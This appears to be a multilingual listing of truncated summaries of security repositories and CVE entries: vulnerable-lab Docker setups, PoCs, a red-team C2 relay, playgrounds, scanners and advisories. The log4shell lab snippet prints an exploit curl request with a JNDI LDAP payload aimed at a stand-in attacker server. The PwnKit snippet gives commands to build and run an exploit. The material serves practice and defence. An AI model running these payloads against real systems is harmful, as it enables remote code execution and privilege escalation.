CVE-2025-54352

CVE-2025-54352 PoC Использование Шаги по установке и тестированию PoC для WordPress: 1. Установите свежую версию WordPress с помощью Docker: 1.1 Запустите контейнер с базой данных MySQL: docker run --name wp-db -e MYSQLDATABASE=wp-db -e MYSQLUSER=wpuser -e MYSQLPASSWORD=password -e...

CVE-2026-107335

Malcolm's upload-processing pipeline scripts/safe-extract.py enforces entry-count, nesting-depth, and total-uncompressed-byte limits when extracting container archives zip/tar/rar/7z via libarchive, but those limits are not applied when the uploaded file is a single-stream compressed format .gz,...

CVE-2021-41773S

Images Docker vulnérables pour CVE-2021-41773 contournement de chemin Apache Cette vulnérabilité ne s'applique qu'à la version 2.4.49 qui possède des configurations non standard spécifiques. Dans certaines situations, cela peut entraîner une lecture de fichier ou une exécution de code...

CVE-2020-11493

CVE-2020-11492 إثبات المفهوم PoC لثغرة رفع الامتيازات في Docker Desktop لنظام Windows. تم تصحيح هذه الثغرة في Docker الإصدار 2.3.0.2 بتاريخ 11 مايو 2020. يقوم هذا الإثبات بما يلي: ينشئ أنبوبًا مسمىًا يحاكي الأنبوب المسمى لـ Docker \.\pipe\dockerLifecycleServer، استدعاء ImpersonateNamedPipeClient...

CVE-2021-4034

CVE-2021-4034 docker build -t pwnkit . docker run -it pwnkit ./blasty...

cnc-relay

cnc-relay Lors d'un exercice d'équipe rouge, il est courant de mettre en place une infrastructure de relais pour séparer votre empreinte externe du backend réel de commande et contrôle. Certaines des options légères populaires consistent à configurer HAProxy ou NGINX sur une infrastructure cloud...

log4shell_lab

مختبر استغلال log4shell هذا المستودع هو إعداد بخط واحد لمختبر استغلال log4shell. إعداد المختبر: docker-compose up -d تشغيل الاستغلال: curl -X GET http://localhost:8080/ -H "X-Api-Version: $jndi:ldap://myldapserver:1389/a" ثم اذهب إلى حاوية vul ولاحظ أننا بالفعل اخترقنا الجهاز: فيديو يشرح إعداد...

web-hacking-playground

Web Hacking Playground Description Web Hacking Playground is a controlled web hacking environment. It consists of vulnerabilities found in real cases, both in pentests and in Bug Bounty programs. The objective is that users can practice with them, and learn to detect and exploit them. Other topic...

web-hacking-playground

ملعب اختراق الويب الوصف ملعب اختراق الويب هو بيئة اختراق ويب خاضعة للتحكم. يتكون من ثغرات أمنية موجودة في حالات حقيقية، سواء في اختبارات الاختراق أو في برامج مكافآت الأخطاء. الهدف هو أن يتمكن المستخدمون من التدرب عليها، وتعلم اكتشافها واستغلالها. سيتم أيضًا معالجة مواضيع أخرى ذات أهمية، مثل: تجاو...

mig

MIG: Mozilla InvestiGator MIG is Mozilla's platform for investigative surgery of remote endpoints. ⚠️ Deprecation Notice ⚠️ Mozilla is no longer maintaining the Mozilla InvestiGator MIG project. Mozilla is also no longer making use of this code internally. You are welcome to use this code as is...

mig

MIG: Mozilla InvestiGator MIG est la plateforme de Mozilla pour la chirurgie d'investigation des endpoints distants. ⚠️ Avis de dépréciation ⚠️ Mozilla ne maintient plus le projet Mozilla InvestiGator MIG. Mozilla n'utilise plus non plus ce code en interne. Vous êtes libre d'utiliser ce code tel...

kurukshetra

Kurukshetra Kurukshetra is a web framework that’s developed with the aim of being the first open source framework which provides a solid foundation to host reasonably complex secure coding challenges while still providing the ability to efficiently and dynamically execute each challenge on the...

kurukshetra

كوروكشيترا كوروكشيترا هو إطار ويب تم تطويره بهدف أن يكون أول إطار مفتوح المصدر يوفر أساسًا متينًا لاستضافة تحديات البرمجة الآمنة المعقدة إلى حد معقول، مع الاحتفاظ بالقدرة على تنفيذ كل تحدي بكفاءة وديناميكية بناءً على إدخال المستخدم في بيئة معزولة وآمنة sandbox. يتكون كوروكشيترا من مكونين: الإطار...

bitcrook

Bitcrook مركزية وتسريع تحقيقات OSINT عرض خريطة الطريق جدول المحتويات معلومات حول إخلاء مسؤولية سجل التغييرات معاينة الإسناد الاستخدام التثبيت الواجهة السطرية CLI الواجهة الرسومية GUI Docker المصادقة معلومات حول Bitcrook هو جهاز استخبارات مفتوح المصدر يهدف إلى مركزية جميع الأدوات اللازمة لإجراء...

extrude

extrude Analyse binaries for missing security features, information disclosure and more. 🚧 Extrude is in the early stages of development, and currently only supports ELF and MachO binaries. PE Windows binaries will be supported soon. Usage Usage: extrude flags file Flags: -a, --all Show details o...

archerysec

Support. Your generous donations will keep us motivated. Paypal: Archery Overview of the tool Note Requirements OpenVAS OWASP Zap Burp Scanner SSLScan Nikto NMAP Vulners Installation Windows Installation Note on installation for developers and contributors Note on manual and automated installatio...

CVE-2021-32157

CVE-2021-32157 Permet de construire un environnement virtuel webmin vulnérable en tant que conteneur à l'aide de docker Construction S'il y a une erreur liée au téléchargement, veuillez commenter la ligne 15 du dockerfile et exécuter la ligne 14 du dockerfile. docker build -t VulnWebmin . docker...

harden-docker-seccomp

harden-docker-seccomp Script idempotent pour bloquer la création de sockets AFALG pour tous les conteneurs Docker sur un hôte, en tant qu'atténuation de CVE-2026-31431 « Copy Fail ». Contexte CVE-2026-31431 est une élévation de privilèges locale dans le modèle cryptographique authencesn du noyau...

CVE-2026-107335 Improper Handling of Highly Compressed Data in Malcolm

Malcolm's upload-processing pipeline scripts/safe-extract.py enforces entry-count, nesting-depth, and total-uncompressed-byte limits when extracting container archives zip/tar/rar/7z via libarchive, but those limits are not applied when the uploaded file is a single-stream compressed format .gz,...

CVE-2026-107335

The Malcolm platform is vulnerable to a data amplification issue due to improper handling of highly compressed data in the scripts/safe-extract.py upload-processing pipeline. While the system enforces limits on container archives (like zip, tar, rar, and 7z), it fails to apply these limits to sin...